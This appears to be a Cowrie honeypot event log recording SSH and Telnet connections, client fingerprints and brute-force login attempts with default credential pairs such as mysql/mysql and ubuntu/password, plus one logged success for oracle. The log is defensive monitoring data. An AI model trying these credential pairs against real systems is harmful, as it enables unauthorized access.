{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52956,"dst_ip":"159.203.135.109","dst_port":22,"session":"be0a8684885e","protocol":"ssh","message":"New connection: 45.156.87.254:52956 (159.203.135.109:22) [session: be0a8684885e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:52.803551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:52.817384Z","src_ip":"45.156.87.254","session":"be0a8684885e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:52.893860Z","src_ip":"45.156.87.254","session":"be0a8684885e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:53.218930Z","src_ip":"45.156.87.254","session":"be0a8684885e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:53.380050Z","src_ip":"186.30.115.187","session":"a24d08f42d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":40152,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba48fe8567e1","protocol":"ssh","message":"New connection: 186.30.115.187:40152 (10.17.0.5:22) [session: ba48fe8567e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:53.470404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:53.475226Z","src_ip":"186.30.115.187","session":"ba48fe8567e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:53.573738Z","src_ip":"186.30.115.187","session":"ba48fe8567e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:53.997174Z","src_ip":"186.30.115.187","session":"ba48fe8567e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:54.099230Z","src_ip":"186.30.115.187","session":"ba48fe8567e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:54.105135Z","src_ip":"186.30.115.187","session":"3a448d00cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:54.310181Z","src_ip":"45.156.87.254","session":"be0a8684885e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.43299341201782,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:56.180898Z","src_ip":"20.123.41.163","session":"b96d6ae6a54b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56972,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a8516c917af","protocol":"ssh","message":"New connection: 45.156.87.254:56972 (159.203.135.109:22) [session: 2a8516c917af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:59.085690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:59.090934Z","src_ip":"45.156.87.254","session":"2a8516c917af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:59.179132Z","src_ip":"45.156.87.254","session":"2a8516c917af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:53:59.429521Z","src_ip":"45.156.87.254","session":"2a8516c917af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:00.516462Z","src_ip":"45.156.87.254","session":"2a8516c917af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56982,"dst_ip":"159.203.135.109","dst_port":22,"session":"adb331c6c76c","protocol":"ssh","message":"New connection: 45.156.87.254:56982 (159.203.135.109:22) [session: adb331c6c76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:04.772240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:04.778494Z","src_ip":"45.156.87.254","session":"adb331c6c76c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:04.863500Z","src_ip":"45.156.87.254","session":"adb331c6c76c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:05.125408Z","src_ip":"45.156.87.254","session":"adb331c6c76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:06.255602Z","src_ip":"45.156.87.254","session":"adb331c6c76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.67246651649475,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:08.554734Z","src_ip":"20.123.41.163","session":"d6d6f73da355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59876,"dst_ip":"159.203.135.109","dst_port":22,"session":"151b0f0f2301","protocol":"ssh","message":"New connection: 45.156.87.254:59876 (159.203.135.109:22) [session: 151b0f0f2301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:10.234099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:10.242538Z","src_ip":"45.156.87.254","session":"151b0f0f2301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:10.343619Z","src_ip":"45.156.87.254","session":"151b0f0f2301","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:10.600786Z","src_ip":"45.156.87.254","session":"151b0f0f2301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:11.687195Z","src_ip":"45.156.87.254","session":"151b0f0f2301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":55128,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a43ce1d591","protocol":"telnet","message":"New connection: 20.123.41.163:55128 (10.17.0.5:23) [session: e4a43ce1d591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:14.464355Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59880,"dst_ip":"159.203.135.109","dst_port":22,"session":"4538b5c97d59","protocol":"ssh","message":"New connection: 45.156.87.254:59880 (159.203.135.109:22) [session: 4538b5c97d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:15.709250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:15.715464Z","src_ip":"45.156.87.254","session":"4538b5c97d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:15.800218Z","src_ip":"45.156.87.254","session":"4538b5c97d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37082,"dst_ip":"10.17.0.5","dst_port":23,"session":"57c355719b78","protocol":"telnet","message":"New connection: 104.245.105.2:37082 (10.17.0.5:23) [session: 57c355719b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:15.889348Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:16.081248Z","src_ip":"45.156.87.254","session":"4538b5c97d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:17.169932Z","src_ip":"45.156.87.254","session":"4538b5c97d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.108845472335815,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:18.573067Z","src_ip":"20.123.41.163","session":"e4a43ce1d591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39056,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd3e49517437","protocol":"ssh","message":"New connection: 45.156.87.254:39056 (159.203.135.109:22) [session: fd3e49517437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:20.886975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:20.891956Z","src_ip":"45.156.87.254","session":"fd3e49517437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:20.974841Z","src_ip":"45.156.87.254","session":"fd3e49517437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:21.223683Z","src_ip":"45.156.87.254","session":"fd3e49517437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":39076,"dst_ip":"10.17.0.5","dst_port":22,"session":"549bda8c63af","protocol":"ssh","message":"New connection: 185.16.214.226:39076 (10.17.0.5:22) [session: 549bda8c63af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:21.842642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:21.847458Z","src_ip":"185.16.214.226","session":"549bda8c63af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:21.975977Z","src_ip":"185.16.214.226","session":"549bda8c63af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:54:22.313797Z","src_ip":"45.156.87.254","session":"fd3e49517437","protocol":"ssh"}
